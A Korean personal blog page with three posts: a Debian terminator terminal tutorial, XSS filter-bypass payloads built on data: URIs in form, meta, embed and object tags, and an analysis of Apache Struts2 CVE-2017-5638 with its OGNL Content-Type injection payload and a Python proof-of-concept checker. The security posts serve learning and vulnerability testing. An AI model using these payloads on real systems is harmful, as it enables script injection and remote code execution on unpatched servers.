3/16/2017

[DEBIAN] terminator를 이용한 창 분할 터미널 사용하기


오늘은 아주 매력적인 terminal program에 대해 소개해드릴까 합니다. 창 분할이 컨셉인 터미널 프로그램이죠.
저는 주로 tilda와 gnome-terminal 사용했는데, terminator를 보고 gnome-terminal을 빼버리게 되었네요.

vim에서 vsplit split 등으로 창분할 코딩을 주로하는데, 이 친구는 터미널 자체가 창 분할 모드가 되었습니다.


Install terminator

일단 debian 계열의 linux에선 apt 패키지 매니저를 이용해서 쉽게 설치할 수 있습니다.

#> apt-cache search terminator
[...]
terminator - multiple GNOME terminals in one window

#> apt-get install terminator

#> terminator
or

Alt+F2 > terminator

Using terminator

실행하셨다면 아래와 같이 일반적인 터미널 창이 하나 나타납니다. 우클릭을 하게되면 메뉴를 볼 수 있고 상하, 좌우 나누기를 통해 터미널 창을 나눠서 사용할 수 있습니다.

Shift + Ctrl + O : 상하 나누기
Shift + Ctrl + E : 좌우 나누기


우클릭 > 설정 > 키 설정 으로 가시면 단축키 설정이 가능합니다.


레이아웃 설정하기
레이아웃을 설정해두면 프로파일을 통해 한번에 세팅된 분할창을 띄울 수 있습니다. 터미널을 자주 사용하신다면 굉장히 편한 기능이니 익혀두시면 좋습니다.

Share: | Coffee Me:

3/15/2017

[WEB HACKING] data: 구문을 이용한 XSS Filtering 우회 기법(Bypass XSS Filter)

XSS 공격 시 많이 사용하는 기법입니다만 재미난걸 하나 찾은김에 겸사겸사 정리할까 합니다.

Today's bypass XSS filter - <form> + data:text/html + URL Encoding

여러가지 규칙이 있었습니다. 문자열 기번의 필터링으로 사용할 수 있는 태그가 한정되어있고, 이벤트 핸들러 또한 거의 전부 필터링되었죠.
그리고.. 결정적으로 base, java , script 등 문자열 필터링으로 우회 구문 작성하는데 좀 귀찮았습니다.

오늘의 Bypass filter는 <form> 태그와 data:text/html , URL Encoding 의 조합입니다.

form 태그는 action에 담긴 주소로 요청 발송합니다. 그래서.. action에 javascript:alert(45) 와 같은 형태로 구문이 들어갈 시 그대로 호출하게 되며 스크립트가 실행되죠. java, script 등 문자열에 대한 필터링이 적용되어 있고 좀 껄끄러운 형태로 되어 있어서 필터링 되지 않는 문자를 이용해보려 생각하던 중 data: 를 이용한 구문들이 생각났습니다. 대체로 object, iframe 등 태그에 사용되나 form 에도 가능하지 않을까라는 의문에서 시작하였고, 예상대로 form을 이용하여 XSS 구문 성립이 가능하였죠.

<form action=data:text/html;charset=utf-8,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%34%35%29%3c%2f%73%63%72%69%70%74%3e>
<input type=submit>
</form>
아주 심플하죠. base 문자열도 필터링되어서 url 인코딩을 하여 필터링 규칙을 벗어나고, <form> action으로 호출되지 때문에 브라우저에서 열릴 때 URL Deocde 되는걸 이용하면 인코딩된 문자열의 해제로 스크립트가 동작하게 됩니다.

data:text/html for XSS

meta tag
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

embed tag

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

object tag

<object data="data:application/x-shockwave-flash;base64,
RldTCSEAAABIAZAAZAAADAEARBEIAAAAQwIAAP9AAAAA"></object> 
 <!-- xss swf in Base64 data --> 

Share: | Coffee Me:

3/09/2017

[WEB HACKING] Apache Struts2 Remote Code Execute Vulnerability(CVE-2017-5638, S2-045)

올해도 어김없이 Apache Struts2 관련 취약점이 공개되었습니다.
요즘 DCCP Double free 취약점을 천천히 보고있는 상황인데 급히 Struts 정리해서 포스팅하게 되네요.

현재 CVE-2017-5638, S2-045로 올라와 있습니다.


Vulnerable Version

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

Check the Struts2 Version

일단 쉽게 Struts2 의 버전을 확인하기 위해서는 WEB-INF Directory 내 JAR 파일 struts2-core 내 포함된 MANIFEST.MF 파일을 봅니다.  Bundle-Version 에 버전에 대한 정보가 들어있지요.

Vulnerability Analysis

이번 Struts2 취약점은 Content-Type 부분 파싱 중 검증이 잘 되지 않아서 발생한 문제입니다.
diff 구간이랑 코드를 직접 보진 않아 아직 원인은 파악이 안되나 PoC 코드를 보면 아래와 같은 코드를 Content-Type 헤더에 붙여서 나가는 걸 알 수 있습니다. 아마.. 타입 관련해서 분기하거나 비교하는 구문에서 탈출하여 직접 코드를 호출 한 것 같네요.

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}



이 부분은 정보 좀 수집하고 코드단 확인하면 추가로 작성하도록 하겠습니다.

PoC

현재 github 내 python 기반의 poc 코드가 올라와있고, 앞으로 계속 여러 언어로 포팅되어 올라올 것 같네요.

https://github.com/tengzhangchao/Struts2_045-Poc


import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"


아주 간단한 코드입니다. 코드 실행으로 102*102*102*99 처리 값을 출력하고 105059592가 정상적으로 나왔는지 확인합니다.

102*102*102*99 = 105059592

Reference

https://github.com/tengzhangchao/Struts2_045-Poc
https://cwiki.apache.org/confluence/display/WW/S2-045
Share: | Coffee Me: